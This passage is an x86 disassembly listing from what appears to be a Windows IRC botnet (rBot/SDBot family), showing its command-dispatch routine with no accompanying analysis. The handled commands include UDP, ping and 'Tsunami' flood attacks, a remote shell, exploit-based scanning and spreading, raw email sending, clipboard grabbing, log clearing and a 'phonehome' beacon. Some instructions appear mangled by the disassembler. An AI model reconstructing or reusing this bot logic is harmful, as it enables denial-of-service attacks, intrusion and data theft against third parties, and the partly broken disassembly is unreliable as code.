		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		push	esi
		push	0Eh
		push	offset dword_4380B8
		push	offset dword_4380C4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_4380D0
		push	offset dword_4380DC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		push	esi
		push	16h
		push	offset dword_4380E8
		push	offset dword_4380F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_438100
		push	offset dword_438110
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		push	esi
		push	12h
		push	offset dword_438120
		push	offset dword_43812C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_438138
		push	offset dword_438148
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		push	esi
		push	13h
		push	offset dword_438158
		push	offset dword_438168
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_438178
		push	offset dword_438188
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_4090E1
		push	ebx
		push	[ebp+var_4]
		push	offset unk_438198
		push	[ebp+var_88]
		push	edi
		call	sub_401445
		add	esp, 34h
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_40432E:				; CODE XREF: sub_403038+11AFj
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404357
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset aTsunamiFlood ; "Tsunami	flood"
		push	offset dword_4381E8
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404357:				; CODE XREF: sub_403038+1305j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404380
		push	[ebp+esi+var_8C]
		push	13h
		push	offset aWisdomAttack ; "Wisdom attack"
		push	offset dword_438214
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404380:				; CODE XREF: sub_403038+132Ej
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043A9
		push	[ebp+esi+var_8C]
		push	17h
		push	offset aUdpFlood ; "UDP	flood"
		push	offset dword_438238
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4043A9:				; CODE XREF: sub_403038+1357j
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043D2
		push	[ebp+esi+var_8C]
		push	16h
		push	offset aPingFlood ; "Ping flood"
		push	offset dword_43825C
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4043D2:				; CODE XREF: sub_403038+1380j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4043FB
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_4 ; "Server"
		push	offset dword_43827C
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4043FB:				; CODE XREF: sub_403038+13A9j
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F9F
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F9F
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F8A
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F8A
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404478
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_438308
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_404478:				; CODE XREF: sub_403038+1426j
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044A1
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure	; "Secure"
		push	offset dword_43832C
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4044A1:				; CODE XREF: sub_403038+144Fj
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4044CA
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_438350
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_4044CA:				; CODE XREF: sub_403038+1478j
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F74
		push	edi
		push	offset aStats	; "stats"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F74
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5E
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5E
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F48
		push	edi
		push	offset aExplist	; "explist"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F48
		push	edi
		push	offset aReconnectt ; "reconnectt"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F29
		push	edi
		push	offset aR	; "r"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F29
		push	edi
		push	offset aDisconnectt ; "disconnectt"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F07
		push	edi
		push	offset aDc	; "dc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F07
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EBF
		push	edi
		push	offset aQ	; "q"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406EBF
		push	edi
		push	offset aStatus	; "status"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E81
		push	edi
		push	offset aS_1	; "s"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E81
		push	edi
		push	offset aId	; "id"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E4A
		push	edi
		push	offset aI	; "i"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E4A
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40466C
		call	sub_411F81
		test	eax, eax
		mov	eax, offset unk_4384AC
		jnz	short loc_40463E
		mov	eax, offset unk_4384CC


loc_40463E:				; CODE XREF: sub_403038+15FFj
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 1Ch
		jmp	loc_403953
; ---------------------------------------------------------------------------


loc_40466C:				; CODE XREF: sub_403038+15F1j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D5C
		push	edi
		push	offset aT	; "t"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D5C
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D3C
		push	edi
		push	offset aAl	; "al"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D3C
		push	edi
		push	offset dword_438584
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C4C
		push	edi
		push	offset dword_438588
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C4C
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C30
		push	edi
		push	offset aClg	; "clg"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C30
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406BF9
		push	edi
		push	offset aNi	; "ni"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406BF9
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406BCE
		push	edi
		push	offset aSi	; "si"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406BCE
		push	edi
		push	offset aBaybayman ; "baybayman"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B94
		push	edi
		push	offset aBamann	; "bamann"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406B94
		push	edi
		push	offset aProcs	; "procs"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406A74
		push	edi
		push	offset aPs	; "ps"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406A74
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069F0
		push	edi
		push	offset aUp	; "up"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069F0
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069D3
		push	edi
		push	offset aDrv	; "drv"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069D3
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069BA
		push	edi
		push	offset aDll	; "dll"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4069BA
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40488D
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_4387DC
		jmp	loc_406FB2
; ---------------------------------------------------------------------------


loc_40488D:				; CODE XREF: sub_403038+183Bj
		push	edi
		push	offset dword_4387E8
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404E42
		cmp	[ebp+var_8], ebx
		jnz	short loc_4048C1
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4387EC
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_4048C1:				; CODE XREF: sub_403038+186Dj
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_0], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_4048CF
; ---------------------------------------------------------------------------


loc_4048CC:				; CODE XREF: sub_403038+18E3j
		mov	eax, [ebp+arg_18]


loc_4048CF:				; CODE XREF: sub_403038+1892j
		cmp	[eax], bl
		jz	short loc_4048D6
		inc	eax
		jmp	short loc_4048DB
; ---------------------------------------------------------------------------


loc_4048D6:				; CODE XREF: sub_403038+1899j
		mov	eax, offset dword_438800


loc_4048DB:				; CODE XREF: sub_403038+189Cj
		push	eax
		lea	eax, [ebp+var_2E4]
		push	[ebp+arg_0]
		push	offset dword_438808
		push	eax
		call	sub_4171D0
		push	1
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 3
		jl	short loc_4048CC
		push	offset unk_438810
		call	sub_410557
		pop	ecx


loc_404928:				; CODE XREF: sub_403038+28EFj
					; sub_403038+42DAj
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_4034D4
		push	edi
		push	offset aKilllog	; "killlog"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851F
		push	edi
		push	offset aKl	; "kl"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40851F
		push	edi
		push	offset aAddalias ; "addalias"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084D9
		push	edi
		push	offset aAa	; "aa"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084D9
		push	edi
		push	offset aPrivmsg_2 ; "privmsg"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408478
		push	edi
		push	offset aPm	; "pm"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408478
		push	edi
		push	offset aAction	; "action"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083FF
		push	edi
		push	offset aA	; "a"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083FF
		push	edi
		push	offset aCycle	; "cycle"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408396
		push	edi
		push	offset aCy	; "cy"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408396
		push	edi
		push	offset aMode	; "mode"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408351
		push	edi
		push	offset aM	; "m"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408351
		push	edi
		push	offset aC_raw	; "c_raw"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082DF
		push	edi
		push	offset aC_r	; "c_r"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082DF
		push	edi
		push	offset aC_mode	; "c_mode"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408256
		push	edi
		push	offset aC_m	; "c_m"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408256
		push	edi
		push	offset aC_nick	; "c_nick"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DE
		push	edi
		push	offset aC_n	; "c_n"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081DE
		push	edi
		push	offset aC_join	; "c_join"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40818B
		push	edi
		push	offset aC_j	; "c_j"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40818B
		push	edi
		push	offset aC_part	; "c_part"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408121
		push	edi
		push	offset aC_p	; "c_p"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408121
		push	edi
		push	offset aUpdateroooom ; "updateroooom"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F9F
		push	edi
		push	offset aUproo	; "uproo"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F9F
		push	edi
		push	offset aExecute	; "execute"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F06
		push	edi
		push	offset aE	; "e"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F06
		push	edi
		push	offset aMydear	; "mydear"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D8C
		push	edi
		push	offset aMydear_0 ; "mydear"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D8C
		push	edi
		push	offset aRedirect ; "redirect"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C88
		push	edi
		push	offset aRd	; "rd"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C88
		push	edi
		push	offset aScan	; "scan"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B8B
		push	edi
		push	offset aSc	; "sc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B8B
		push	edi
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AA3
		push	edi
		push	offset aC_pm	; "c_pm"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407AA3
		push	edi
		push	offset aC_action ; "c_action"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40797B
		push	edi
		push	offset aC_a	; "c_a"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40797B
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_4034D4
		push	edi
		push	offset aPortscan ; "portscan"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40786B
		push	edi
		push	offset aPsc	; "psc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40786B
		push	edi
		push	offset aAdvscan	; "advscan"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407382
		push	edi
		push	offset aAsc	; "asc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407382
		push	edi
		push	offset aEmail	; "email"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407324
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_4E4]
		push	eax
		call	sub_4184C0
		push	[ebp+arg_0]
		call	sub_4174D0
		push	[ebp+esi+var_84]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_D84]
		push	eax
		call	sub_4184C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_B7C]
		push	eax
		call	sub_4184C0
		push	offset asc_439DFC ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_7C]
		call	sub_411AB7
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4184C0
		add	esp, 30h
		lea	eax, [ebp+var_6DC]
		push	eax
		push	101h
		call	dword_4452B8
		lea	eax, [ebp+var_4E4]
		push	eax
		call	dword_4453CC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4453C8
		push	[ebp+arg_0]
		mov	esi, eax
		mov	[ebp+var_D8], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_D4], eax
		call	dword_445348
		mov	[ebp+var_D6], ax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_B7C]
		push	eax
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_1584]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4171D0
		add	esp, 1Ch
		lea	eax, [ebp+var_D8]
		push	10h
		push	eax
		push	esi
		call	dword_4452F0
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_C80]
		push	edi
		push	eax
		push	esi
		call	dword_445360
		lea	eax, [ebp+var_C80]
		push	ebx
		push	eax
		call	sub_414BE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1584]
		push	eax
		push	esi
		call	dword_445398
		push	ebx
		lea	eax, [ebp+var_C80]
		push	edi
		push	eax
		push	esi
		call	dword_445360
		push	esi
		call	dword_4453E0
		call	dword_4452A0
		lea	eax, [ebp+var_B7C]
		push	eax
		push	offset unk_439E50


loc_404E00:				; CODE XREF: sub_403038+4F62j
					; sub_403038+50DAj
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_404E0F:				; CODE XREF: sub_403038+2AC0j
					; sub_403038+2DDEj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_404E30
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_404E30:				; CODE XREF: sub_403038+1DDAj
					; sub_403038+297Cj ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		pop	ecx
		jmp	loc_40858F
; ---------------------------------------------------------------------------


loc_404E42:				; CODE XREF: sub_403038+1864j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40693A
		push	edi
		push	offset aGc	; "gc"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40693A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40690F
		push	edi
		push	offset aFarp	; "farp"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40690F
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068EB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068EB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068AE
		push	edi
		push	offset aCip	; "cip"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068AE
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406776
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406776
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406600
		push	edi
		push	offset aHttp	; "http"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406600
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4064C9
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4064C9
		push	edi
		push	offset aCrash	; "crash"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FCE
		lea	eax, [ebp+var_2E4]
		push	offset dword_438B40
		push	eax
		call	sub_4171D0
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_404FAD
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_401445
		add	esp, 14h


loc_404FAD:				; CODE XREF: sub_403038+1F57j
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		mov	[esp+10h+var_10], offset aCrash_0 ; "crash"
		push	[ebp+esi+var_7C]
		call	sub_417870
		jmp	loc_40871B
; ---------------------------------------------------------------------------


loc_404FCE:				; CODE XREF: sub_403038+1F3Fj
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4061C8
		push	edi
		push	offset aSa	; "sa"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4061C8
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405025
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_4013FF


loc_40501D:				; CODE XREF: sub_403038+46Fj
		add	esp, 0Ch
		jmp	loc_4034D4
; ---------------------------------------------------------------------------


loc_405025:				; CODE XREF: sub_403038+1FCFj
		push	edi
		push	offset aExploit	; "exploit"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40515B
		mov	eax, [ebp+var_4]
		mov	edi, 80h
		mov	[ebp+var_3F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3EC], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_400], eax
		push	offset aRpmxp_0	; "#RpmXp"
		lea	eax, [ebp+var_480]
		push	edi
		push	eax
		mov	[ebp+var_3F8], 1
		call	sub_4172D0
		push	offset aRpmxp_0	; "#RpmXp"
		lea	eax, [ebp+var_500]
		push	edi
		push	eax
		call	sub_4172D0
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_510]
		push	10h
		push	eax
		call	sub_4172D0
		lea	eax, [ebp+var_510]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_438CDC
		push	eax
		call	sub_4171D0
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	8
		push	eax
		call	sub_408E53
		add	esp, 3Ch
		mov	[ebp+var_3F4], eax
		lea	eax, [ebp+arg_24]
		push	eax
		lea	eax, [ebp+var_510]
		push	ebx
		push	eax
		push	offset word_4095A6
		push	ebx
		push	ebx
		call	near ptr 26A08FFh
		nop
		mov	ecx, [ebp+var_3F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446224[ecx], eax
		jz	short loc_40510E


loc_4050FC:				; CODE XREF: sub_403038+20D4j
		cmp	[ebp+var_3E8], ebx
		jnz	short loc_405129
		push	32h
		nop
		call	near ptr 2690599h
		jmp	short loc_4050FC
; ---------------------------------------------------------------------------


loc_40510E:				; CODE XREF: sub_403038+20C2j
		nop
		call	near ptr 26908EFh
		push	eax
		push	offset unk_438D0C


loc_40511A:				; CODE XREF: sub_403038+2FBDj
					; sub_403038+43D6j ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_4171D0
		add	esp, 0Ch


loc_405129:				; CODE XREF: sub_403038+20CAj
					; sub_403038+464Fj ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_40514A
		push	ebx
		lea	eax, [ebp+var_2E4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_405142:				; CODE XREF: sub_403038+4EC9j
		call	sub_401445
		add	esp, 14h


loc_40514A:				; CODE XREF: sub_403038+20F4j
					; sub_403038+2CDEj ...
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_410557
		jmp	loc_40871C
; ---------------------------------------------------------------------------


loc_40515B:				; CODE XREF: sub_403038+1FFCj
		push	edi
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406185
		push	edi
		push	offset aRin	; "rin"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406185
		push	edi
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40613C
		push	edi
		push	offset aRinms	; "rinms"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40613C
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40611C
		push	edi
		push	offset aN	; "n"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40611C
		push	edi
		push	offset aJoin	; "join"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4060F5
		push	edi
		push	offset aJ	; "j"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4060F5
		push	edi
		push	offset aPart_1	; "part"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4060D5
		push	edi
		push	offset aPt	; "pt"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4060D5
		push	edi
		push	offset aRaw	; "raw"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406098
		push	edi
		push	offset aR_1	; "r"
		call	sub_417870
		pop	ecx
		test	eax, eax
		pop	ecx
